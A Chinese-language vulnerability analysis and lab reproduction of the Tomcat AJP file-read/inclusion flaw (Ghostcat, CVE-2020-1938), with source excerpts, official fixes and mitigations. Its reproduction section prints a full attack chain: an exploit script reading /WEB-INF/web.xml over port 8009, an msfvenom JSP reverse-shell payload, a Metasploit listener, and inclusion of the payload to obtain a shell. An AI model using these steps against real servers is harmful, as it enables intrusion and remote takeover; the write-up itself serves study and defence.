CVE-2020-1938源码分析与漏洞复现(Tomcat 文件包含/读取)

漏洞概述

漏洞名称：Tomcat AJP协议文件包含/读取漏洞（Ghostcat）
CVE 编号：CVE-2020-1938
CVSS 评分：9.8
影响版本：

• Apache Tomcat 6.x (≤ 6.0.53)
• Apache Tomcat 7.x (≤ 7.0.99)
• Apache Tomcat 8.x (≤ 8.5.51)
• Apache Tomcat 9.x (≤ 9.0.31)
  修复版本：≥ 7.0.100 / 8.5.52 / 9.0.31
  漏洞类型：文件包含/读取 → 可导致远程代码执行（RCE）
  根本原因：Tomcat AJP协议处理器未对请求路径做安全校验，攻击者通过构造恶意AJP请求可读取Web目录任意文件（含WEB-INF敏感文件），结合文件上传可执行任意代码。

漏洞原理与源码分析

1. 漏洞触发条件

• 开启AJP服务：默认监听8009端口（conf/server.xml中<Connector port="8009" protocol="AJP/1.3" />）。
• 攻击可达性：攻击者需访问AJP端口（常暴露于内网，但公网容器可能误配置暴露）。

2. 关键源码定位

（1）AJP请求处理入口：AjpProcessor#process
代码路径：org.apache.coyote.ajp.AjpProcessor

public SocketState process(SocketWrapper<Socket> socket)
        throws IOException {
        ...
        prepareRequest(); // 解析AJP请求头
        ..
        adapter.service(request, response); // 转发请求
        ...
   }

漏洞点：未校验request_uri和attributes的合法性，允许构造恶意路径。

（2）请求路由逻辑：CoyoteAdapter#service
代码路径：org.apache.catalina.connector.CoyoteAdapter

public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) {
    ...
    connector.getService().getContainer().getPipeline().getFirst().invoke(request, response); // 进入容器处理链
    ...
}

（3）文件读取漏洞点：DefaultServlet#doGet
代码路径：org.apache.catalina.servlets.DefaultServlet

 @Override
    protected void doPost(HttpServletRequest request,
                          HttpServletResponse response)
        throws IOException, ServletException {
        doGet(request, response);
    }

protected void serveResource(HttpServletRequest request,
                                 HttpServletResponse response,
                                 boolean content)
            throws IOException, ServletException {
            String path = getRelativePath(request);// 获取请求路径（可被恶意构造）
            ...
            if (path.endsWith("/") || (path.endsWith("\\"))) {
                String requestUri = (String) request.getAttribute(
                        RequestDispatcher.INCLUDE_REQUEST_URI);
                if (requestUri == null) {
                    requestUri = request.getRequestURI();
                }
                response.sendError(HttpServletResponse.SC_NOT_FOUND,
                        requestUri);
                return;// 目录请求跳过
            }
            ...
              // 关键：直接读取文件并返回内容（无路径校验）
            InputStream renderResult = null;
            if (cacheEntry.context != null) {

                if (serveContent) {          
                    renderResult = render(getPathPrefix(request), cacheEntry);
                }

            }
            if (serveContent) {
                try {
                    response.setBufferSize(output);
                } catch (IllegalStateException e) {
                }
                if (ostream != null) {
                    if (!checkSendfile(request, response, cacheEntry, contentLength, null))
                        copy(cacheEntry, renderResult, ostream);
                } else {
                    copy(cacheEntry, renderResult, writer);
                }
            }

漏洞利用：通过AJP协议传递javax.servlet.include.path_info属性，可绕过路径限制访问WEB-INF目录。

3. 敏感文件读取机制

Tomcat安全限制：

• 浏览器直接请求/WEB-INF/web.xml → 返回404错误（受conf/web.xml中<servlet-mapping>保护）。
• AJP协议绕过原理：
  构造attributes：

  {  
    javax.servlet.include.path_info: "/WEB-INF/web.xml",  
    javax.servlet.include.servlet_path: "/"  
  }  
  

  使DefaultServlet将/WEB-INF/web.xml识别为合法路径，从而读取敏感文件。

漏洞利用方式

1. 攻击流程

2. 两种利用场景

3. 利用工具与步骤

(1).使用 Vulhub 环境启动漏洞靶机

docker-compose up -d

(2)访问 http://target:8080，确认服务正常运行

(3)下载漏洞利用工具

(4)读取敏感文件

• 用python2执行工具中的Tomcat-ROOT路径下文件读取(CVE-2020-1938).py

python Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.1.100
//换为自己靶场的ip

• 读取到敏感文件
  (5)下面模拟结合文件上传，实现反弹shell
• kail生成payload

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.102 LPORT=6666 -f raw > shell.txt

(6)由于是模拟文件上传，所以这里直接将shell.txt，复制到靶机容器中

docker cp shell.txt 容器id:/usr/local/tomcat/webapps/ROOT/WEB-INF/

(7)kali开启监听

msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 # kali的IP
set lport 4444 # 监听端口
run

(8)利用之前的工具包含shell.txt

python 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.1.100

(9)成功getshell

影响范围与修复方案

1. 受影响版本

2. 官方修复方案

• 补丁提交：修订记录
• 修复逻辑：
  1. 禁用javax.servlet.include.*属性（AjpProcessor）：

     // 检查并拒绝包含敏感属性
     if (request.getAttribute(Globals.REQUEST_DISPATCHER_PATH_ATTR) != null) {
         response.setStatus(403); // 直接返回403禁止
         return;
     }  
     

  2. 增加requiredSecret认证（强制AJP连接配置密码）。

3. 临时缓解措施

1. 关闭AJP服务：

   <!-- conf/server.xml -->  
   <!-- 注释AJP Connector -->  
   <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->  
   

2. 网络隔离：
   • 防火墙限制8009端口仅允许可信IP访问。
3. 升级中间件：
   • 使用Nginx反向代理并过滤恶意请求。

漏洞启示

1. 最小化暴露：非必要网络服务（如AJP）应默认关闭。
2. 协议安全性：二进制协议需严格校验属性合法性。
3. 纵深防御：敏感目录（WEB-INF）的访问控制需在多层实现（容器/代码/网络）。

参考链接

1. CVE-2020-1938 官方通告（Apache Tomcat）
2. 漏洞原理深度解析（长亭科技）
3. 源码分析与补丁解读（知乎专栏）
4. Tomcat CVE-2020-1938 漏洞复现和利用过程（csdn)